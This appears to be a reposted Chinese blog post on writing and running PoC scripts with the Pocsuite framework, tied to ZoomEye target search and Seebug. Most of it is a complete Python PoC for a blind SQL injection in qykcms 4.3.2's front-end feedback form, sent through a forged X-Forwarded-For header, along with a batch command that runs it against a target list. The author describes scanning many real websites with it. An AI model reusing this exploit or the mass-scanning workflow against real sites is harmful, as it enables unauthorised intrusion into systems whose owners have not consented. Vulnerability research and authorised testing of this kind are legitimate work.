關於pocsuite的使用


0x00 前言

pocsuite的用處就不多說了,早些時候也看到黑哥和余弦大佬在微博上說zoomeye 和pocsuite升級了。

結合最近自己在審計cms,也想收集一下其他cms的poc,比如chybeta大佬的cmsPoc,還有Lucifer1993大佬的AngelSword,用pcosuite重新寫一下poc,同時自己審出來的一些"0day"也是可以用這個框架。

 

0x01 文檔文檔

在大概看完文檔之后,說說感覺。

pocsuite官網(http://pocsuite.org/),github地址(https://github.com/knownsec/Pocsuite)

1,pocsuite升級之后提供了一個控制台交互模式,之前貌似沒有??不是很清楚。

 2,pocsuite的強大之處是結合了知道創宇自家的幾大產品,zoomeye和seebug。zoomeye能夠提供大量的可疑目標,而seebug能夠提供大量的poc,這幾者結合真乃神器了。

 

但我在用zoomeye的時候有個疑惑,Seebug 搜索關鍵詞,這個seebug搜索的漏洞,是平台上全部的嗎?還有就是假如是metinfo,metinfo有多個可執行的poc,那么是全部執行嗎?

在我測試之后發現這個poc是來源於你自己seebug賬號提交的poc,你有多少poc就能搜多少。。相當於提供了一個雲端的滲透測試工具。

假如你換了系統,就不需要把之前自己寫代碼拷過去了。直接下載pocsuite就可以使用,唯一需要配置的就是你的404賬號和密碼。

 

3,還有就是提供了給其他應用調用pocsuite的接口,那么個人也是可以利用這個diy出自己的批量漏掃。

畢竟輪子已經造好了,不用白不用啊!

 

0x02 編寫poc

先說說下載,可以用git下載,也可以用pip安裝,都很方便。用pip方便你可以隨時使用,無須cd到具體目錄去,當然可以配置環境變量以達到pip的效果。

pocsuite poc的編寫其實並不難,按照文檔給的模板,把該填的填了就行。

pocsuite poc提供了兩種編寫方式,一種是python,一種是json。個人主張python,自由度高,json方式看都沒怎么看,完型填空,而且都是限制死了的。

主要的還是是編寫verify 和attack 模式的代碼,需要盡可能的減少需要從外部接收的參數,更加利於批量調度,也減少了用戶的使用學習成本。畢竟腳本這種東西弄出來就是為了方便。

下面貼一貼自己之前審的qykcms前台的一個盲注poc

 1 #coding:utf-8
 2 
 3 from pocsuite.net import req
 4 from pocsuite.poc import POCBase,Output
 5 from pocsuite.utils import register
 6 import random
 7 import string
 8 
 9 def randomstr():
10     return random.choice(string.ascii_letters)*5
11 
12 class TestPOC(POCBase):
13     name = 'front boolean sqli in qykcms version 4.3.2'
14     version = '1'
15     vulID = '1'
16     author = ['r00tuser']
17     vulType = 'SQL Injection'
18     references = 'http://www.cnblogs.com/r00tuser/p/8044025.html'
19     desc = '''The vulneability is caused by filter the get_ip method,
20     and taker the userip into the database
21     '''
22     vulDate = '2017-12-15'
23     createDate = '2017-12-20'
24     updateDate = '2017-12-20'
25 
26     appName = 'qykcms'
27     appVersion = '4.3.2'
28     appPowerLink = 'http://www.qykcms.com/'
29     samples = ['']
30 
31     def _attack(self):
32         '''attack mode'''
33         return self._verify()
34 
35     def _verify(self):
36         '''verify mode'''
37         result = {}
38         data= {'lang':'cn','name':randomstr(),'content':randomstr(),'email':str(randomstr()+'@qq.com'),'phone':'','attachment':''}
39         headers = {'Referer': 'http://' + self.url,'X-Forwarded-For':'test'}
40         httpreq = req.session()
41         httpurl = self.url+'/?log=post&desc=feedback'
42         #first req
43         try:
44             response1 = httpreq.post(httpurl,data=data,headers=headers,timeout=3)
45         except Exception,e:
46             pass
47         #second req
48         try:
49             response2 = httpreq.post(httpurl,data=data,headers=headers,timeout=3)
50             if response2.status_code != 200:
51                 return self.parse_output(result)
52             response2.encoding = response2.apparent_encoding
53             if u'系統限制' in response2.text:
54                 result['VerifyInfo'] = {}
55                 result['VerifyInfo']['URL'] = self.url
56         except Exception,e:
57             pass
58         return self.parse_output(result)
59 
60     def parse_output(self,result):
61         output = Output(self)
62         if result:
63             output.success(result)
64         else:
65             output.fail('Internet nothing returned')
66         return output
67 
68 register(TestPOC)

本來用的是評論框來檢測的,后來發現用戶需要輸入的東西太多了,然后改成用留言框。立馬方便了很多,用戶只需要輸入網址便可。關於原因請看我的博文(http://www.cnblogs.com/r00tuser/p/8044025.html)

代碼很簡單也沒有好說的。

 

0x03 實例使用

然后就是用這個腳本去跑啊跑,測試測試,修正修正bug。

跑了n多個網站,沒有幾個是可以的,心都涼了。

哎,雞肋的洞就是麻煩。

不得不說pocsuite提供的批量掃目標(1對多),與及批量腳本掃批量目標(多對多)的功能是非常實用的。

python pocsuite.py -r modules/qykcms_4_3_2_front_boolean_sqli.py -f qykcms.txt --threads 5

用了五個線程,16個target 秒出。

 

0x04 總結

輪子好用我們得用,但最好還是得去了解一下輪子的特性,學習輪子是怎么造出來的。爭取自己能造出另外一個輪子。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM